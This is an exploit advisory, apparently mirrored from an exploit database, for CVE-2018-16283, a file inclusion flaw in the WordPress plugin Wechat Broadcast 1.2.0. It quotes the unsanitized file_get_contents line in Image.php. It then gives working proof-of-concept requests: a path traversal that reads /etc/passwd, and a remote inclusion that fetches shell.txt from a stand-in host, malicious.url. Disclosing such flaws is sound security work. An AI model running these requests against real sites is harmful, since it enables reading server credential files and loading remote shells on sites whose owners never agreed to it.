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WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion

PHP,webapps,CVE-2018-16283

发布于2022年11月4日3年前

# Exploit Title: WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion
# Author: Manuel Garcia Cardenas
# Date: 2018-09-19
# Software link: https://es.wordpress.org/plugins/wechat-broadcast/
# CVE: CVE-2018-16283

# Description
# This bug was found in the file: /wechat-broadcast/wechat/Image.php
# echo file_get_contents(isset($_GET["url"]) ? $_GET["url"] : '');
# The parameter "url" it is not sanitized allowing include local or remote files
# To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol 
# to interact with the application.

# PoC
# The following URL have been confirmed that is vulnerable to local and remote file inclusion.

GET /wordpress/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd

# Remote File Inclusion POC:

GET /wordpress/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=http://malicious.url/shell.txt